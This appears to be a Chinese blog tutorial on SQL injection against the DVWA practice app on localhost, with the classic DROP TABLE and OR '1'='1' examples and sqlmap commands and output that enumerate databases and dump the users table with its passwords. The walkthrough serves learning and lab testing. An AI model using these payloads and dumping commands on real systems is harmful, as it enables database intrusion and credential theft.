• SQL Injection


    SQL Injection

            SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录

            举个例子:

            假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句

            另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据

            在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令

    1. 检测是否存在注入点:

      python sqlmap.py -r "请求文件包路径"

      这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。

    2. 获取注入点所有数据库:

      python sqlmap.py -r "响应包路径" --dbs

      一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。

    3. 获取当前使用的数据库:

      python sqlmap.py -r "响应包路径" --current-db --batch

      这个命令用于获取当前数据库服务器上正在使用的数据库。

    4. 获取数据库中的表:

      python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch

      一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。

    5. 获取表中的字段信息:

      python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch

      这个命令用于获取指定表中的所有字段信息。

    6. 获取字段具体信息:

      python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch

      这个命令用于获取指定表中指定字段的具体信息。

    7. 获取当前使用的账户:

      python sqlmap.py -r "响应包路径" --current-user

      这个命令用于获取当前数据库连接的用户。

    8. 列出所有使用过的账户:

      python sqlmap.py -r "响应包路径" --users

      这个命令用于列出所有在目标数据库服务器上使用过的用户。

    9. 获取 MySQL 的登录账户和密码:

      python sqlmap.py -r "响应包路径" --passwords

      这个命令用于获取 MySQL 数据库中存储的账户和密码。

    Low

            我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。

            SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,

            

            将请求保存到文件 ,使用     sqlmap.py -r  “请求文件的路径”  来判断是否存在注入点

    根据 SQLMap 的输出,已确认了 GET 参数 id 存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。

    1. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
    2. sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
    3. ---
    4. Parameter: id (GET)
    5. Type: boolean-based blind
    6. Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    7. Payload: id=1' OR NOT 6167=6167#&Submit=Submit
    8. Type: error-based
    9. Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    10. Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=Submit
    11. Type: time-based blind
    12. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    13. Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=Submit
    14. Type: UNION query
    15. Title: MySQL UNION query (NULL) - 2 columns
    16. Payload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit
    17. ---
    18. [21:47:55] [INFO] the back-end DBMS is MySQL
    19. web application technology: PHP 7.3.4, Apache 2.4.39
    20. back-end DBMS: MySQL >= 5.6
    21. [21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'

    获取所有数据库名

     python .\sqlmap.py -r  C:\Users\LI\Desktop\请求.txt -dbs 

    available databases [2]:
    [*] dvwa
    [*] information_schema

    获取当前数据库名

    python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  --current-db --batch

    获取数据库表信息:

     python .\sqlmap.py -r  C:\Users\LI\Desktop\请求文件.txt  -D DVWA -tables

    获取DVWA数据库user表的列:

     python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa --tables

    尝试检索并显示指定列的数据 (会对CPU造成较大的负担,风扇声音较大是正常的)

     python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa -T users -C user,password,user_id --dump

    Medium

     使用工具注入,步骤相似,略

    High

     使用工具注入,步骤相似,略

  • 相关阅读:
    STM32 HAL库USART的接收数据方法实现
    NLP(六十九)智能文档问答助手升级
    DC/DC开关电源学习笔记(九)Buck降压拓扑原理
    matlab实现对极地投影数据的投影转换
    “蔚来杯“2022牛客暑期多校训练营8,签到题F
    计算机毕业设计django基于python商品比价平台(源码+系统+mysql数据库+Lw文档)
    李沐:用随机梯度下降来优化人生!
    UE4 粒子特效基础学习 (03-制作上升光线特效)
    002讲:CAD2024下方任务栏不显示坐标解决方案——CAD知识讲堂
    Java语言高级-03常用API第二部分-第1节Object类
  • 原文地址:https://blog.csdn.net/m0_63521991/article/details/134431149